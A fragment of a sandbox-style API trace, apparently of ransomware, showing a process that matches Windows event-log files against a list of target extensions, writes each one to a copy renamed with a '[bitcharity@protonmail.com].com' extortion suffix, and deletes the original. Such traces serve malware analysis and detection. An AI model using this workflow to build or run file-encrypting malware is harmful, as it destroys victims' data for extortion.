lpString2="evtx") returned -1 [0145.972] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0145.972] lstrlenW (lpString=".1cd") returned 4 [0145.972] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.972] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0145.972] lstrlenW (lpString=".jpg") returned 4 [0145.972] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.972] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0145.972] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0145.972] lstrlenW (lpString=".doc") returned 4 [0145.972] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.972] lstrlenW (lpString=".docx") returned 5 [0145.972] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.972] lstrlenW (lpString=".pdf") returned 4 [0145.972] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.972] lstrlenW (lpString=".xls") returned 4 [0145.972] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.972] lstrlenW (lpString=".xlsx") returned 5 [0145.972] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.972] lstrlenW (lpString=".ppt") returned 4 [0145.972] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0145.972] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0145.972] lstrlenW (lpString=".zip") returned 4 [0145.972] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.972] lstrlenW (lpString=".rar") returned 4 [0145.972] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.972] lstrlenW (lpString=".bz2") returned 4 [0145.972] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.972] lstrlenW (lpString=".7z") returned 3 [0145.972] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.972] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0145.972] lstrlenW (lpString=".dbf") returned 4 [0145.972] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0145.973] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0145.973] lstrlenW (lpString=".1cd") returned 4 [0145.973] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.973] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0145.973] lstrlenW (lpString=".jpg") returned 4 [0145.973] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.973] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0145.973] lstrlenW (lpString="Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 49 [0145.973] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0145.973] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0145.973] CloseHandle (hObject=0x10b8) returned 1 [0145.973] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20 [0145.973] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.973] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0145.973] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.974] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.974] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0145.974] GetLastError () returned 0x0 [0145.974] ReadFile (in: hFile=0x10b8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0146.087] WriteFile (in: hFile=0x10d8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0146.089] ReadFile (in: hFile=0x10b8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.089] WriteFile (in: hFile=0x10d8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x136, lpOverlapped=0x0) returned 1 [0146.089] SetEndOfFile (hFile=0x10d8) returned 1 [0146.089] CloseHandle (hObject=0x10d8) returned 1 [0146.091] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.091] SetEndOfFile (hFile=0x10b8) returned 1 [0146.093] CloseHandle (hObject=0x10b8) returned 1 [0146.093] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0146.093] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 1 [0146.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0146.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0146.094] lstrlenW (lpString=".doc") returned 4 [0146.094] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.094] lstrlenW (lpString=".docx") returned 5 [0146.094] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.094] lstrlenW (lpString=".pdf") returned 4 [0146.094] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.094] lstrlenW (lpString=".xls") returned 4 [0146.094] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.094] lstrlenW (lpString=".xlsx") returned 5 [0146.094] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.094] lstrlenW (lpString=".ppt") returned 4 [0146.094] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0146.094] lstrlenW (lpString=".zip") returned 4 [0146.094] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.094] lstrlenW (lpString=".rar") returned 4 [0146.094] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.094] lstrlenW (lpString=".bz2") returned 4 [0146.094] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.094] lstrlenW (lpString=".7z") returned 3 [0146.094] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0146.094] lstrlenW (lpString=".dbf") returned 4 [0146.095] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0146.095] lstrlenW (lpString=".1cd") returned 4 [0146.095] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0146.095] lstrlenW (lpString=".jpg") returned 4 [0146.095] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0146.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0146.095] lstrlenW (lpString=".doc") returned 4 [0146.095] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.095] lstrlenW (lpString=".docx") returned 5 [0146.095] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.095] lstrlenW (lpString=".pdf") returned 4 [0146.095] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.095] lstrlenW (lpString=".xls") returned 4 [0146.095] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.095] lstrlenW (lpString=".xlsx") returned 5 [0146.095] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.095] lstrlenW (lpString=".ppt") returned 4 [0146.095] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0146.096] lstrlenW (lpString=".zip") returned 4 [0146.096] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.096] lstrlenW (lpString=".rar") returned 4 [0146.096] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.096] lstrlenW (lpString=".bz2") returned 4 [0146.096] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.096] lstrlenW (lpString=".7z") returned 3 [0146.096] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0146.096] lstrlenW (lpString=".dbf") returned 4 [0146.096] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0146.096] lstrlenW (lpString=".1cd") returned 4 [0146.096] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0146.096] lstrlenW (lpString=".jpg") returned 4 [0146.096] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.096] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0146.096] lstrlenW (lpString="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 63 [0146.096] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0146.097] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0146.097] CloseHandle (hObject=0x10b8) returned 1 [0146.097] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20 [0146.097] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.097] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0146.097] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.097] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.097] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0146.132] GetLastError () returned 0x0 [0146.132] ReadFile (in: hFile=0x10b8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0146.227] WriteFile (in: hFile=0x1038, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0146.229] ReadFile (in: hFile=0x10b8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.229] WriteFile (in: hFile=0x1038, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x152, lpOverlapped=0x0) returned 1 [0146.229] SetEndOfFile (hFile=0x1038) returned 1 [0146.230] CloseHandle (hObject=0x1038) returned 1 [0146.233] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.233] SetEndOfFile (hFile=0x10b8) returned 1 [0146.234] CloseHandle (hObject=0x10b8) returned 1 [0146.234] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0146.235] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 1 [0146.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0146.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0146.237] lstrlenW (lpString=".doc") returned 4 [0146.237] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.237] lstrlenW (lpString=".docx") returned 5 [0146.237] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.237] lstrlenW (lpString=".pdf") returned 4 [0146.237] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.237] lstrlenW (lpString=".xls") returned 4 [0146.237] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.237] lstrlenW (lpString=".xlsx") returned 5 [0146.237] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.237] lstrlenW (lpString=".ppt") returned 4 [0146.237] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0146.237] lstrlenW (lpString=".zip") returned 4 [0146.237] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.237] lstrlenW (lpString=".rar") returned 4 [0146.237] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.237] lstrlenW (lpString=".bz2") returned 4 [0146.237] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.237] lstrlenW (lpString=".7z") returned 3 [0146.237] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0146.237] lstrlenW (lpString=".dbf") returned 4 [0146.237] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.238] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0146.238] lstrlenW (lpString=".1cd") returned 4 [0146.238] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.238] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0146.238] lstrlenW (lpString=".jpg") returned 4 [0146.238] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.238] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0146.238] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0146.238] lstrlenW (lpString=".doc") returned 4 [0146.238] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.238] lstrlenW (lpString=".docx") returned 5 [0146.238] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.238] lstrlenW (lpString=".pdf") returned 4 [0146.238] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.238] lstrlenW (lpString=".xls") returned 4 [0146.238] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.238] lstrlenW (lpString=".xlsx") returned 5 [0146.238] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.238] lstrlenW (lpString=".ppt") returned 4 [0146.238] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.238] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0146.238] lstrlenW (lpString=".zip") returned 4 [0146.238] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.238] lstrlenW (lpString=".rar") returned 4 [0146.238] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.238] lstrlenW (lpString=".bz2") returned 4 [0146.238] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.239] lstrlenW (lpString=".7z") returned 3 [0146.239] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.239] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0146.239] lstrlenW (lpString=".dbf") returned 4 [0146.239] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.239] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0146.239] lstrlenW (lpString=".1cd") returned 4 [0146.239] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.239] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0146.239] lstrlenW (lpString=".jpg") returned 4 [0146.239] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.239] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0146.239] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 48 [0146.239] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0146.285] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0146.285] CloseHandle (hObject=0x1038) returned 1 [0146.285] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20 [0146.285] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.285] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0146.285] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.285] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.285] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0146.286] GetLastError () returned 0x0 [0146.286] ReadFile (in: hFile=0x1038, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0146.372] WriteFile (in: hFile=0x10c4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0146.374] ReadFile (in: hFile=0x1038, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.374] WriteFile (in: hFile=0x10c4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x134, lpOverlapped=0x0) returned 1 [0146.375] SetEndOfFile (hFile=0x10c4) returned 1 [0146.375] CloseHandle (hObject=0x10c4) returned 1 [0146.378] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.378] SetEndOfFile (hFile=0x1038) returned 1 [0146.380] CloseHandle (hObject=0x1038) returned 1 [0146.380] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0146.381] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 1 [0146.381] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0146.381] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0146.381] lstrlenW (lpString=".doc") returned 4 [0146.381] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.381] lstrlenW (lpString=".docx") returned 5 [0146.381] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.381] lstrlenW (lpString=".pdf") returned 4 [0146.381] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.382] lstrlenW (lpString=".xls") returned 4 [0146.382] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.382] lstrlenW (lpString=".xlsx") returned 5 [0146.382] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.382] lstrlenW (lpString=".ppt") returned 4 [0146.382] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.382] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0146.382] lstrlenW (lpString=".zip") returned 4 [0146.382] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.382] lstrlenW (lpString=".rar") returned 4 [0146.382] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.382] lstrlenW (lpString=".bz2") returned 4 [0146.382] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.382] lstrlenW (lpString=".7z") returned 3 [0146.382] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.382] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0146.382] lstrlenW (lpString=".dbf") returned 4 [0146.382] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.382] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0146.382] lstrlenW (lpString=".1cd") returned 4 [0146.382] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.382] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0146.382] lstrlenW (lpString=".jpg") returned 4 [0146.382] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.383] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0146.384] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0146.384] lstrlenW (lpString=".doc") returned 4 [0146.384] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.384] lstrlenW (lpString=".docx") returned 5 [0146.384] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.384] lstrlenW (lpString=".pdf") returned 4 [0146.384] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.384] lstrlenW (lpString=".xls") returned 4 [0146.384] lstrcmpiW 